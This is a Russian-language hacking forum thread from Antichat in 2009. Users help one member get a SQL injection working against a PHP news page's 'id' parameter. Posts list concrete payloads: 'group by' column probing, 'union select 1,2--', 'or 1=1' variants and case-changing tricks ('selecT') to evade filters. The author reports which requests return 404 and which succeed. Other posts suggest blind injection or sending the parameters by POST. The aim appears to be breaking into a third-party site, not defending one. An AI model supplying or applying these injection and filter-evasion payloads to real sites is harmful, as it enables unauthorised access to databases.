HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #6621  
Старый 12.04.2009, 10:49
Byrger
Постоянный
Регистрация: 07.03.2008
Сообщений: 479
С нами: 9567480

Репутация: 61
По умолчанию

Цитата:
Сообщение от a1ex  
чиво???
Чиво чиво
Ячейки 1 2 надо на экран вывести...
 
Ответить с цитированием

  #6622  
Старый 12.04.2009, 10:56
DrAssault
Участник форума
Регистрация: 14.11.2008
Сообщений: 149
С нами: 9204308

Репутация: 256
По умолчанию

Byrger ну че ты мозг колупашь всем? Тебе дали ответ уже во 2-ом посту сверху...
 
Ответить с цитированием

  #6623  
Старый 12.04.2009, 10:59
Byrger
Постоянный
Регистрация: 07.03.2008
Сообщений: 479
С нами: 9567480

Репутация: 61
По умолчанию

Цитата:
Сообщение от DrAssault  
Byrger ну че ты мозг колупашь всем? Тебе дали ответ уже во 2-ом посту сверху...
Дак идёт ридерект на 404 при нормальном запросе к бд! Вы читать то умеете?
Я изменяю id На несуществующий и возникает 404 а не в инъекции у меня ошибка!
 
Ответить с цитированием

  #6624  
Старый 12.04.2009, 11:09
laedafess
Познающий
Регистрация: 11.02.2009
Сообщений: 98
С нами: 9076508

Репутация: 169
По умолчанию

А ты уверен, что там 2 поля и именно такой комментарий работает?
 
Ответить с цитированием

  #6625  
Старый 12.04.2009, 11:13
Iceangel_
Постоянный
Регистрация: 09.07.2006
Сообщений: 553
С нами: 10441826

Репутация: 1861


По умолчанию

2 Byrger
может стоять защита, от скулей, попробуй поэксперементировать со словами в инъекции
 
Ответить с цитированием

  #6626  
Старый 12.04.2009, 11:21
farex
Banned
Регистрация: 11.03.2009
Сообщений: 214
С нами: 9035873

Репутация: 317
По умолчанию

Цитата:
2 Byrger
может стоять защита, от скулей, попробуй поэксперементировать со словами в инъекции
тоесть в место
site.ru/news.php?id=-1+union+select+1,2--
нуно
site.ru/news.php?id=-1+union+selecT+1,2--
site.ru/news.php?id=-1+union+seLecT+1,2--
ну и далее пока ошибка не изчезнит.... (хотя не факт что изчезнет )

Последний раз редактировалось farex; 12.04.2009 в 11:23..
 
Ответить с цитированием

  #6627  
Старый 12.04.2009, 11:23
slider
Members of Antichat - Level 5
Регистрация: 04.09.2005
Сообщений: 528
С нами: 10885346

Репутация: 2947


По умолчанию

А может работать как с блайндом?! =\
....
Либо попытаться передавать параметры постом...
 
Ответить с цитированием

  #6628  
Старый 12.04.2009, 11:23
DrAssault
Участник форума
Регистрация: 14.11.2008
Сообщений: 149
С нами: 9204308

Репутация: 256
По умолчанию

Пля ну не телепаты мы, дай работающий параметр, там посмотим...
 
Ответить с цитированием

  #6629  
Старый 12.04.2009, 11:31
farex
Banned
Регистрация: 11.03.2009
Сообщений: 214
С нами: 9035873

Репутация: 317
По умолчанию

Цитата:
А может работать как с блайндом?! =\
мну кажется,что может....... ИМХО
 
Ответить с цитированием

  #6630  
Старый 12.04.2009, 11:46
Byrger
Постоянный
Регистрация: 07.03.2008
Сообщений: 479
С нами: 9567480

Репутация: 61
По умолчанию

Цитата:
Сообщение от laedafess  
А ты уверен, что там 2 поля и именно такой комментарий работает?
site.ru/news.php?id=1+group+by+10-- 404
site.ru/news.php?id=1+group+by+5-- 404
site.ru/news.php?id=1+group+by+3-- 404
site.ru/news.php?id=1+group+by+2-- ok
site.ru/news.php?id=1+union+select+1,2-- ok
site.ru/news.php?id=-1+union+select+1,2-- 404
site.ru/news.php?id=1999+union+select+1,2-- 404

site.ru/news.php?id=1999+or+1=1+union+select+1,2-- ok

Последний раз редактировалось Byrger; 12.04.2009 в 11:50..
 
Ответить с цитированием
Ответ



Предыдущая тема Следующая тема
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Уязвимости CMS / форумов 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.